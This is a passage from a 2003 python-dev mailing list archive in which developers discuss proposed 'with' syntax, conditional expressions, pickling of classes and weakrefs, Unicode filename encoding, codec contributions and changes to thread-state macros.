<200302042057.h14KvEI26727@odiug.zope.com> <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com> <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.38361.935496.115469@slothrop.zope.com> <15938.40091.534416.426167@gargle.gargle.HOWL> Message-ID: <200302101516.h1AFGHf22750@odiug.zope.com> > Since Guido seems to have his summaries, I am going to assume the > discussion ban has been lifted (if I am wrong, Guido, let me know). Not exactly wrong, but I still have no time to devote to this all. However, I see that a few PEPs have been added already. I suggest that people get together and write PEPs about the other proposals as well, so we can focus and record the discussion in PEPs rather than in python-dev archives. --Guido van Rossum (home page: http://www.python.org/~guido/) From aahz@pythoncraft.com Mon Feb 10 15:29:52 2003 From: aahz@pythoncraft.com (Aahz) Date: Mon, 10 Feb 2003 10:29:52 -0500 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) In-Reply-To: <6qd6m09pph.fsf@salmakis.intevation.de> References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> <3E478E58.20607@lemburg.com> <6qlm0o9u1b.fsf@salmakis.intevation.de> <3E47A973.2020509@lemburg.com> <6qd6m09pph.fsf@salmakis.intevation.de> Message-ID: <20030210152952.GA8654@panix.com> On Mon, Feb 10, 2003, Bernhard Herzog wrote: > > In the particular case of locks, the threading.Lock object's release > method must only be called when it's locked (same for the other lock > objects AFAICT). Seems to me that this would require a flag at the > python level and then you have the race condition. That's not a problem for threading.RLock(). You can code that as lock = threading.RLock() try: lock.acquire() finally: lock.release() Note that currently there's an AssertionError in threading when you do that; perhaps that should be changed to a Warning? -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From pedronis@bluewin.ch Mon Feb 10 15:36:49 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 16:36:49 +0100 Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted) References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com> Message-ID: <005601c2d11a$3a88e480$6d94fea9@newmexico> >'with' [ var '=' ] expr ':' > suite > > This statement is defined as being equivalent to the following > sequence of statements: > >var = expr > >if hasattr(var, "__enter__"): > var.__enter__() > >try: > suite > >finally: > if hasattr(var, "__exit__"): >var.__exit__() > > If the variable is omitted, an unnamed object is allocated on the > stack. In that case, the suite has no access to the unnamed object. I would not really depend when var is specified, that its binding is not modified in suite, I would store expr result away and use that: var = _secret = expr ... rest of impl uses _secret not var ... Less fragile. regards From pedronis@bluewin.ch Mon Feb 10 15:42:55 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Mon, 10 Feb 2003 16:42:55 +0100 Subject: [Python-Dev] vox populii illiterati References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> Message-ID: <007801c2d11b$14b4a360$6d94fea9@newmexico> From: "Guido van Rossum" > Still, I'm beginning to be more and more against any form of > if-then-else; I'm not yet sure why that is, but I think that I don't > see enough places where it's needed, and I find code using it often > harder to read. Part of that is my general problem with decyphering > expressions with control flow -- my brain is wired to deal with > control flow at the statement level very efficiently, but not at the > expression level. If the vote pass, you can always add it but declare that it is very very very bad style . From jack@performancedrivers.com Mon Feb 10 15:57:48 2003 From: jack@performancedrivers.com (Jack Diederich) Date: Mon, 10 Feb 2003 10:57:48 -0500 Subject: [Python-Dev] bitwise operators and lambdas Message-ID: <20030210105748.A18606@localhost.localdomain> I don't expect action or consensus on these, but I thought I get them on record by posting 1) move bitwise operators to a package and deprecate them from the language as special syntax 2) use pipes as shorthand for lambdas re: 1) bitwise operators bitwise OR is used on 61 lines in Lib/ out of 70k+ lines. There is nothing inheritly un-pythonic about bitwise operators but they don't really come up much in a high level language like python. They just seem 'extra' esp since we spell || as 'or' and && as 'and'. sets are about the only thing to usefully define __xor__ and its kind. re: 2) lambda shorthand Most people hate lambdas, but I like em. They would beat listcomps in readability if it weren't for the clunky appearance of the string 'lambda' everywhere they are used. People seem to like list comps over filter/map mainly because they save keystrokes. old shorthand lambda:foo() ||foo() lambda x:foo(x) |x|foo(x) l = [x.guy for (x) in blah] l = map(|x|x.guy, blah) l = [x for (x) in blah if x < 7] l = filter(|x|x < 7, blah) l = [x.guy for (x) in blah if x.guy < 7] l = map(|x|x.guy, filter(|x|x.guy < 7, blah)) I also like the passing-something-on implication of using a pipe character. Plus I like the left-to-right reading of map/filter over listcomps. dreaming-of-pytohn-3k-ly, -jackdied From niemeyer@conectiva.com Mon Feb 10 16:02:03 2003 From: niemeyer@conectiva.com (Gustavo Niemeyer) Date: Mon, 10 Feb 2003 14:02:03 -0200 Subject: [Python-Dev] UNREF invalid object In-Reply-To: References: <20030210033512.GA16029@ibook.distro.conectiva> Message-ID: <20030210160203.GA11876@ibook.distro.conectiva> > It's not just more elegant, it's mandatory. If you look at the expansion of > Py_DECREF, you'll find that it does all sorts of (necessary) things under > different build types. In particular, under a debug build, calling > PyObject_Del() fails to unlink the object from the doubly-linked list of all > objects, and that's exactly the cause of an "UNREF invalid object" error. > Py_DECREF() instead arranges to call _Py_ForgetReference(), which (among > other things) does the unlinking in a debug build. You *could* call all > that stuff yourself by hand, but then you'd need as much #ifdef pain as goes > into the expansion of Py_DECREF in order to get it all right. Hummm... I thought PyObject_Del could be safely used when the object was "private". Ok, I'll investigate what Py_DECREF really does, and why it breaks if PyObject_Del is used. > > OTOH, I wouldn't like to get over the problem without knowing what's > > really happening. Is this a common problem pattern? > > Nope. Everyone else Ok.. I should have asked "is this something obviously stupid?" instead. :-)) > calls PyObject_Del only on the "self" argument to the type's > tp_dealloc function (which is called *by* the expansion of > Py_DECREF(self), so self must not be subjected to a Py_DECREF again). > Everything else should go thru Py_DECREF, including contained objects. This paragraph looks like a good documentation to put somewhere. Thanks for explaining. -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From guido@python.org Mon Feb 10 16:08:41 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 11:08:41 -0500 Subject: [Python-Dev] bitwise operators and lambdas In-Reply-To: Your message of "Mon, 10 Feb 2003 10:57:48 EST." <20030210105748.A18606@localhost.localdomain> References: <20030210105748.A18606@localhost.localdomain> Message-ID: <200302101608.h1AG8fQ24107@odiug.zope.com> > I don't expect action or consensus on these, but I thought I get > them on record by posting I suggest that you also propose a new name for the resulting language. --Guido van Rossum (home page: http://www.python.org/~guido/) From pyth@devel.trillke.net Mon Feb 10 16:11:20 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 10 Feb 2003 17:11:20 +0100 Subject: [Python-Dev] vox populii illiterati In-Reply-To: <007801c2d11b$14b4a360$6d94fea9@newmexico>; from pedronis@bluewin.ch on Mon, Feb 10, 2003 at 04:42:55PM +0100 References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico> Message-ID: <20030210171120.T1706@prim.han.de> Samuele Pedroni wrote: > From: "Guido van Rossum" > > Still, I'm beginning to be more and more against any form of > > if-then-else; I'm not yet sure why that is, but I think that I don't > > see enough places where it's needed, and I find code using it often > > harder to read. Part of that is my general problem with decyphering > > expressions with control flow -- my brain is wired to deal with > > control flow at the statement level very efficiently, but not at the > > expression level. > > If the vote pass, you can always add it but declare that it is very very very > bad style . Or better yet, just introduce a fast c-implemented "ifelse" that does it without short-circuiting. Thus we can stay with "limited" but easily readable expressions with Python. IIRC nobody on c.l.py has come up with a real need for short-circuiting with the ternary op, anyway. Writing simple statements rather than dense expressions seems like a key feature of Python to me. Although i love oneliners (look at the aspn-cookbook-site) to explore the language. Better to think with new statements rather than new expressions chained to an endless series of names. holger From pyth@devel.trillke.net Mon Feb 10 16:20:36 2003 From: pyth@devel.trillke.net (holger krekel) Date: Mon, 10 Feb 2003 17:20:36 +0100 Subject: [Python-Dev] bitwise operators and lambdas In-Reply-To: <20030210105748.A18606@localhost.localdomain>; from jack@performancedrivers.com on Mon, Feb 10, 2003 at 10:57:48AM -0500 References: <20030210105748.A18606@localhost.localdomain> Message-ID: <20030210172036.U1706@prim.han.de> Jack Diederich wrote: > I don't expect action or consensus on these, but I thought I get them on > record by posting > > 1) move bitwise operators to a package and deprecate them from the > language as special syntax > > 2) use pipes as shorthand for lambdas Hello Jack, have you first checked your ideas with some of the nice people on c.l.py? If not, please do so. Many of us read c.l.py too. Please note, that we might even loose python-dev-elopers if this list continues to be overloaded with syntax propositions. It has happened. regards, holger From paul@pfdubois.com Mon Feb 10 17:11:16 2003 From: paul@pfdubois.com (Paul F Dubois) Date: Mon, 10 Feb 2003 09:11:16 -0800 Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: <20030210150045.8978.89007.Mailman@mail.python.org> Message-ID: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> I read the new PEP about pickling with much interest and little comprehension. I'd like to comment then just by saying what I wish I could do and invite response as to whether the PEP will help do it. I would like to be able to: Save and restore a class definition Save and restore a function definition From jeremy@zope.com Mon Feb 10 17:15:46 2003 From: jeremy@zope.com (Jeremy Hylton) Date: 10 Feb 2003 12:15:46 -0500 Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> References: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> Message-ID: <1044897346.8719.48.camel@slothrop.zope.com> On Mon, 2003-02-10 at 12:11, Paul F Dubois wrote: > I read the new PEP about pickling with much interest and little > comprehension. I'd like to comment then just by saying what I wish I could > do and invite response as to whether the PEP will help do it. > > I would like to be able to: > > Save and restore a class definition > Save and restore a function definition How would you like that to work? Do you want to save the source code in the pickle and have it be compiled on unpickling? Or do you want to objects created from compiling a particular source file to be stored in the pickle and recreated later, regardless of whether the source is available? Jeremy From guido@python.org Mon Feb 10 17:21:22 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 12:21:22 -0500 Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: Your message of "Mon, 10 Feb 2003 09:11:16 PST." <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> References: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> Message-ID: <200302101721.h1AHLMn26482@odiug.zope.com> > I read the new PEP about pickling with much interest and little > comprehension. I'd like to comment then just by saying what I wish I could > do and invite response as to whether the PEP will help do it. > > I would like to be able to: > > Save and restore a class definition > Save and restore a function definition Alas, that ground is specifically not covered by pickling -- not in the past and not now. This is by design. Pickling was designed for data, and when the data contains a reference to a class or function, that reference is specifically excluded from the pickling; instead, the pickler says "here's a reference to class C (or function f) in module M"; the unpickler imports module M, finds C or f in it, and inserts that in the unpicked data. But you're not the only one to want to save and restore classes and functions. Jeremy Hylton has gone through heroic efforts to make this possible in Zope 3, by subclassing the Pickler and Unpickler classes. Maybe he can tell you more. --Guido van Rossum (home page: http://www.python.org/~guido/) From python@rcn.com Mon Feb 10 17:36:42 2003 From: python@rcn.com (Raymond Hettinger) Date: Mon, 10 Feb 2003 12:36:42 -0500 Subject: [Python-Dev] vox populii illiterati References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico> <20030210171120.T1706@prim.han.de> Message-ID: <004301c2d12a$fa1e0c20$125ffea9@oemcomputer> From: "holger krekel" > IIRC nobody on c.l.py has come up with a real need > for short-circuiting with the ternary op, anyway. Here's a copy of my reply to Aahz and c.l.py: It is necessary when: 1. One of the alternatives has a side-effect; or 2. one or both alternatives are time consuming; or 3. the validity of the alternatives depends on the outcome of the test. # Example where all three reasons apply data = isinstance(source, str) ?? source.readlines() || source.split() 1. readlines() moves the file pointer 2. for long sources, both alternatives take time 3. split() is only valid for strings and readlines() is only valid for file objects. Raymond Hettinger From python@rcn.com Mon Feb 10 17:47:01 2003 From: python@rcn.com (Raymond Hettinger) Date: Mon, 10 Feb 2003 12:47:01 -0500 Subject: [Python-Dev] vox populii illiterati References: <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico> <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net> <007801c2d11b$14b4a360$6d94fea9@newmexico> <20030210171120.T1706@prim.han.de> <004301c2d12a$fa1e0c20$125ffea9@oemcomputer> Message-ID: <005c01c2d12c$6ac8b5a0$125ffea9@oemcomputer> From: "Raymond Hettinger" > # Example where all three reasons apply > data = isinstance(source, str) ?? source.readlines() || source.split() That should have been: isinstance(source, file) Raymond Hettinger ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# ################################################################# ################################################################# ################################################################# ##### ##### ##### ################################################################# ################################################################# ################################################################# From tim.one@comcast.net Mon Feb 10 17:45:59 2003 From: tim.one@comcast.net (Tim Peters) Date: Mon, 10 Feb 2003 12:45:59 -0500 Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> Message-ID: [Paul F Dubois] > ... > I'd like to comment then just by saying what I wish I could > do and invite response as to whether the PEP will help do it. > > I would like to be able to: > > Save and restore a class definition > Save and restore a function definition Classes and functions continue to be pickled and unpickled "by name" under the PEP, so, no, the PEP doesn't offer anything new in this area. From walter@livinglogic.de Mon Feb 10 17:54:03 2003 From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Mon, 10 Feb 2003 18:54:03 +0100 Subject: [Python-Dev] Unicode filenames In-Reply-To: References: Message-ID: <3E47E73B.3060202@livinglogic.de> Just van Rossum wrote: > Walter Dörwald wrote: > > [...] > >>But when the system default encoding (i.e. sys.getdefaultencoding()) >>and the file system encoding are different, I'd say the filename has >>to be transcoded from the system default encoding to the filesystem >>encoding before it is used. > > In most places (probably all, uness there's a bug) > Py_FileSystemDefaultEncoding only has relevance for unicode strings: > 8-bit strings are passed to the underlying calls unaltered. That's exactly the problem. Strings passed to open() must always be UTF-8 encoded, so open() is essentially a unicode API. Passing 8bit strings to that function should always go through that unicode API, i.e. the should be treated as any other 8bit string in the unicode context. This means it must be decoded from the default encoding. > So the above > traceback is the result of the _OS_ refusing to name a file "\xff", > which is natural as this particular OS (OSX) uses UTF-8 as the native > file system encoding and "\xff" is not valid UTF-8. (I was actually > pleasantly surprised the OS actually _cares_ ;-) Bye, Walter Dörwald From just@letterror.com Mon Feb 10 18:52:15 2003 From: just@letterror.com (Just van Rossum) Date: Mon, 10 Feb 2003 19:52:15 +0100 Subject: [Python-Dev] Unicode filenames In-Reply-To: <3E47E73B.3060202@livinglogic.de> Message-ID: Walter D=F6rwald wrote: > >>But when the system default encoding (i.e. sys.getdefaultencoding()) > >>and the file system encoding are different, I'd say the filename has > >>to be transcoded from the system default encoding to the filesystem > >>encoding before it is used. > >=20 > > In most places (probably all, uness there's a bug) > > Py_FileSystemDefaultEncoding only has relevance for unicode strings: > > 8-bit strings are passed to the underlying calls unaltered. >=20 > That's exactly the problem. Strings passed to open() must always be > UTF-8 encoded, so open() is essentially a unicode API. (On platforms on which utf-8 is the file system encoding, yes.) > Passing 8bit > strings to that function should always go through that unicode API, > i.e. the should be treated as any other 8bit string in the unicode > context. This means it must be decoded from the default encoding. Well, that's not how it currently works and changing that will break code. I'm not sure about the rationale of the current semantics, but I assume it has to do with compatibility with non-unicode-aware code. Just From jacobs@penguin.theopalgroup.com Mon Feb 10 18:18:43 2003 From: jacobs@penguin.theopalgroup.com (Kevin Jacobs) Date: Mon, 10 Feb 2003 13:18:43 -0500 (EST) Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: <200302101721.h1AHLMn26482@odiug.zope.com> Message-ID: On Mon, 10 Feb 2003, Guido van Rossum wrote: > Alas, that ground is specifically not covered by pickling -- not in > the past and not now. This is by design. Pickling was designed for > data, and when the data contains a reference to a class or function, > that reference is specifically excluded from the pickling; instead, > the pickler says "here's a reference to class C (or function f) in > module M"; the unpickler imports module M, finds C or f in it, and > inserts that in the unpicked data. > > But you're not the only one to want to save and restore classes and > functions. Or if one wants to pickle instances of classes generated on the fly using the 'type' constructor and/or metaclasses. I'm looking forward to evaluating the pickle protocol 2 to see if it can make this possible. -Kevin -- -- Kevin Jacobs The OPAL Group - Enterprise Systems Architect Voice: (216) 986-0710 x 19 E-mail: jacobs@theopalgroup.com Fax: (216) 986-0714 WWW: http://www.theopalgroup.com From guido@python.org Mon Feb 10 19:02:59 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 14:02:59 -0500 Subject: [Python-Dev] pickle me, Elmo? In-Reply-To: Your message of "Mon, 10 Feb 2003 13:18:43 EST." References: Message-ID: <200302101903.h1AJ2xc00454@odiug.zope.com> > Or if one wants to pickle instances of classes generated on the fly using > the 'type' constructor and/or metaclasses. I'm looking forward to > evaluating the pickle protocol 2 to see if it can make this possible. Please get together with Jeremy, who's done almost exactly this for Zope 3. I'm not sure that protocol 2 will be of much help; Jeremy's code depends on subclassing Pickler and Unpickler, limiting him to pickling at Python speed (cPickle doesn't allow subclassing and even if it did, it doesn't have the same internal structure as the classes in pickle.py; most subclasses I've seen depend on that internal structure). --Guido van Rossum (home page: http://www.python.org/~guido/) From tim.one@comcast.net Mon Feb 10 16:34:27 2003 From: tim.one@comcast.net (Tim Peters) Date: Mon, 10 Feb 2003 11:34:27 -0500 Subject: [Python-Dev] RE: [Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277 In-Reply-To: <5F4F97C8-3D09-11D7-AF40-0030655234CE@cwi.nl> Message-ID: [Jack Jansen] > ... > If you build with Apple's MPW compilers it probably is, but (a) these > compilers are horribly outdated and (b) it would take major surgery to > compile Python with MPW anyway, nowadays. In that case, can we remove the MPW #ifdef's from the Python core? Things like object.c's #ifdef MPW /* MPW C modf expects pointer to extended as second argument */ { extended e; fractpart = modf(v, &e); intpart = e; } #else fractpart = modf(v, &intpart); #endif and mathmodule.c's flea on the tip of the tail of the dog #ifdef MPW_3_1 /* This hack is needed for MPW 3.1 but not for 3.2 ... */ FUNC2(pow, power, "pow(x,y)\n\nReturn x**y (x to the power of y).") #else and acceler.c's germ on the aforemetioned flea's hindquarters: #ifdef MPW_881_BUG /* In 881 mode MPW 3.1 has a code generation bug which seems to set the upper bits; fix this by explicitly masking them off */ int temp; #endif And so on. These don't really improve maintainability . From ark@gmx.net Mon Feb 10 19:14:42 2003 From: ark@gmx.net (Arne Koewing) Date: Mon, 10 Feb 2003 20:14:42 +0100 Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request) References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> Message-ID: <87adh4lzh9.fsf_-_@gmx.net> Is this the right time to post a feature request ? It's about pickling weakrefs: let's assume i 've created 3 class instances >>> class A: ... pass >>> a = A() >>> b = A() >>> c = A() >>> a.b = b #put b into a >>> a.ref_b = weakref.ref(b) #weakref to b >>> a.ref_c = weakref.ref(c) #weakref to c now i pickle around >>> data = pickle.dumps(a) >>> new_a = pickle.loads(data) now i would like to have: new_a is my unpickled a new_a.b is my unpickled b new_a.ref_b is an weakref to new_a.b new_a.ref_c is an dead weakref (c was not pickled because it's just weakly-referenced) weakrefs are not supported by the default, but this kind of 'support' could not (i didn't get it ;) be added using the copy_reg module, but it seems to be very useful; weakrefs could used as an "pickling-barrier"... what do you think? Arne From guido@python.org Mon Feb 10 19:48:04 2003 From: guido@python.org (Guido van Rossum) Date: Mon, 10 Feb 2003 14:48:04 -0500 Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request) In-Reply-To: Your message of "Mon, 10 Feb 2003 20:14:42 +0100." <87adh4lzh9.fsf_-_@gmx.net> References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> <87adh4lzh9.fsf_-_@gmx.net> Message-ID: <200302101948.h1AJm4J03334@odiug.zope.com> > Is this the right time to post a feature request ? To get something into Python 2.3's pickling, it's now or never. > It's about pickling weakrefs: > > let's assume i 've created 3 class instances > > >>> class A: > ... pass > > >>> a = A() > >>> b = A() > >>> c = A() > >>> a.b = b #put b into a > >>> a.ref_b = weakref.ref(b) #weakref to b > >>> a.ref_c = weakref.ref(c) #weakref to c > > now i pickle around > > >>> data = pickle.dumps(a) > >>> new_a = pickle.loads(data) > > now i would like to have: > > new_a is my unpickled a > new_a.b is my unpickled b > new_a.ref_b is an weakref to new_a.b > new_a.ref_c is an dead weakref > (c was not pickled because it's just weakly-referenced) > > > weakrefs are not supported by the default, but this kind of 'support' > could not (i didn't get it ;) be added using the copy_reg module, > but it seems to be very useful; Your grammar here seems garbled; I'll just take it to mean that you'd like the example to work. ;-) > weakrefs could used as an "pickling-barrier"... > > what do you think? I brainstormed for a few minutes with Fred Drake, the weakref expert, but we saw many obstacles to implementing it. It would be A Major Project to implement this: it would require adding new methods to weakref objects, and new pickling codes, and an extension to the pickling and unpickling engines... IOW, I don't see it happening. --Guido van Rossum (home page: http://www.python.org/~guido/) From jeremy@zope.com Mon Feb 10 19:59:41 2003 From: jeremy@zope.com (Jeremy Hylton) Date: 10 Feb 2003 14:59:41 -0500 Subject: [Python-Dev] Re: pickle me, Elmo? (weakref feature request) In-Reply-To: <200302101948.h1AJm4J03334@odiug.zope.com> References: <20030210150045.8978.89007.Mailman@mail.python.org> <000301c2d127$6c8747d0$6601a8c0@NICKLEBY> <87adh4lzh9.fsf_-_@gmx.net> <200302101948.h1AJm4J03334@odiug.zope.com> Message-ID: <1044907180.8719.117.camel@slothrop.zope.com> On Mon, 2003-02-10 at 14:48, Guido van Rossum wrote: > I brainstormed for a few minutes with Fred Drake, the weakref expert, > but we saw many obstacles to implementing it. It would be A Major > Project to implement this: it would require adding new methods to > weakref objects, and new pickling codes, and an extension to the > pickling and unpickling engines... > I suspect that something like this feature could be implemented using persistent_id() and persistent_load(). The persistent_id() could do something special for weak references, returning a persistent id that is the id() of the referenced object. The persistent_load() function could check for one in the memo and create a new weakref if it exists; otherwise, it would return None. The one hitch is that the only reference to an object might occur after the weakref. The unpickler wouldn't know that the object occurred later. Not sure how to finesse this problem; it seems to require a second pass over the pickle stream at some point, which is a major rewrite. Perhaps the persistent_load() always returns a proxy object that isn't a weakref, but has the same interface. When the unpickler is done, it gives all these objects a chance to check the memo for the real objects. Anyway, I think you could come up with something without too much effort. Jeremy From bac@OCF.Berkeley.EDU Mon Feb 10 20:35:27 2003 From: bac@OCF.Berkeley.EDU (Brett Cannon) Date: Mon, 10 Feb 2003 12:35:27 -0800 (PST) Subject: [Python-Dev] Re: Atomic operations In-Reply-To: <15943.46690.398074.138483@montanaro.dyndns.org> References: <200302031653.h13Grof20104@odiug.zope.com> <200302042057.h14KvEI26727@odiug.zope.com> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net> <200302051448.h15EmL428173@odiug.zope.com> <15938.27939.731673.576239@gargle.gargle.HOWL> <15938.40091.534416.426167@gargle.gargle.HOWL> <15943.46690.398074.138483@montanaro.dyndns.org> Message-ID: [Skip Montanaro] > > Brett> I was actually thinking more along the lines of having something > Brett> like:: > > Brett> atomic: > Brett> lock() > Brett> ... > > Brett> with atomic basically shutting down threading temporarily until > Brett> everything in its body is executed. > > This would presumably generate bytecode something like: > > GRAB_GIL > lock() > ... execute the block's code ... > unlock() > RELEASE_GIL > > Suppose code in your block makes a call to a threading-aware extension > module. Won't it obligingly release the GIL if it goes to do some longish > operation? If so, wouldn't you then be screwed? > Yes, you would be screwed. As I said, you could screw yourself with your code. But could you do something like keep a list of what threads were running while this atomic state is being run, and then when the GIL is released that list is checked before any threads just randomly grab for the GIL? That would make sure things are still done synchronously. You would also have to temporarily disable the bytecode instruction counter while this atomic state is in affect. But if the consensus is that this is too difficult to implement or not worth it I will just drop the idea. -Brett From perky@fallin.lv Mon Feb 10 20:51:28 2003 From: perky@fallin.lv (Hye-Shik Chang) Date: Tue, 11 Feb 2003 05:51:28 +0900 Subject: [Python-Dev] Adding Japanese Codecs to the distro In-Reply-To: <3E2F00C1.7060905@lemburg.com> References: <20030122085353.AB36.ISHIMOTO@gembook.org> <200301221614.h0MGE4R17977@grad.sccs.chukyo-u.ac.jp> <3E2F00C1.7060905@lemburg.com> Message-ID: <20030210205128.GA4889@fallin.lv> On Wed, Jan 22, 2003 at 09:36:17PM +0100, M.-A. Lemburg wrote: > Tamito KAJIYAMA wrote: > >On the efficiency of my codecs: Honestly speaking, the > >priorities with regard to time and space efficiencies during the > >development of JapaneseCodecs were very low. I believe there is > >much room for improvements. The set of mapping tables in the > >pure Python codecs would be the very first candidate. > > Ok, how about this: we include the C versions of your codecs > in the distribution and you take over maintenance as soon > as time permits. > > Still, I'd would love to see some further improvement of the > size and performance of the codecs (and maybe support for the > new error callbacks; something which Hisao has integrated > into his codecs). > > Would it be possible for you two to team up for the further > developement of the Japanese codecs ? > > Perhaps Hye-Shik Chang could join you in the effort, since he's > the author of the KoreanCodecs package which has somewhat > similar problem scope (that of stateful encodings with a huge > number of mappings) ? > I just submitted a patch for incorporating Korean Codecs (SF #684142). It's just around 55KB as a stripped 32bit binary. I'm studying Japanese and Chinese encodings nowadays. I'll try to make a patch for Tamito's JapaneseCodecs and Chen Chien-Hsun's ChineseCodecs for PEP293 support and small binary size if I can do. :) > Thanks, > -- > Marc-Andre Lemburg > CEO eGenix.com Software GmbH Regards, Hye-Shik =) From mhammond@skippinet.com.au Mon Feb 10 21:45:45 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Tue, 11 Feb 2003 08:45:45 +1100 Subject: [Python-Dev] Unicode filenames In-Reply-To: Message-ID: <000b01c2d14d$c545fb20$530f8490@eden> I'm not sure I have followed this completely, but: > (On platforms on which utf-8 is the file system encoding, yes.) > > > Passing 8bit > > strings to that function should always go through that unicode API, > > i.e. the should be treated as any other 8bit string in the unicode > > context. This means it must be decoded from the default encoding. The problem is that some file system related functions will return strings *already in* the "file system encoding" - ie, on Windows, some functions will return mbcs encoded filenames. Thus, there is a round-trip problem - if you get a filename from os.listdir(), you could not pass it to open() without lots of head-scratching. The default file system encoding allows you to assume that 8 bit strings passed to open are pre-encoded strings - ie, are likely to have previously come directly from another API function. IIRC, the current rules on Windows are: * Pass a Unicode filename, and Python calls the Unicode versions of the API. * Pass a string, and it is assumed the string is *already* in the default file system encoding, so the string is ont re-encoded. Mark. From mhammond@skippinet.com.au Mon Feb 10 22:59:09 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Tue, 11 Feb 2003 09:59:09 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? Message-ID: <001d01c2d158$05ed4c00$530f8490@eden> Hi all, As part of my "auto thread state" work, I am discovering some very interesting things - including the fact that pythread.h *already* defines a Python Thread Local Storage API, and that thread_sgi.h contains a safe, portable working implementation :) However, to do this auto thread state work properly, I will need to change the definition of Py_END_ALLOW_THREADS. Specifically, Py_END_ALLOW_THREADS needs to be able to handle the fact that the lock may or may not be held when it is called (whereas now, the lock must *not* be held) Specifically, the changes would look like: * New function to determine if the current thread's threadstate is "current" * New function, PyEval_EnsureThread(), which is nearly identical to PyEval_RestoreThread(), except it only attempts the restore of the thread state if it is not already current. The above 2 are fairly easy to implement in a thread-safe manner - if the thread only checks its *own* thread state is current, the result of that check will remain valid on this thread, even if another thread becomes current during processing. This means that Py_END_ALLOW_THREADS then changes from: #define Py_END_ALLOW_THREADS PyEval_RestoreThread(_save); \ to: #define Py_END_ALLOW_THREADS PyEval_EnsureThread(_save); \ Now, I understand that a complete blessing of this scheme will need more details - but I am concerned that *any* change to Py_END_ALLOW_THREADS will blow this scheme out of the water. For example, the Win32 extensions have, in a few places, emulated Py_BEGIN_ALLOW_THREADS, and all of this code will need to change. From my POV though, the only reason I needed these hacks in the first place was 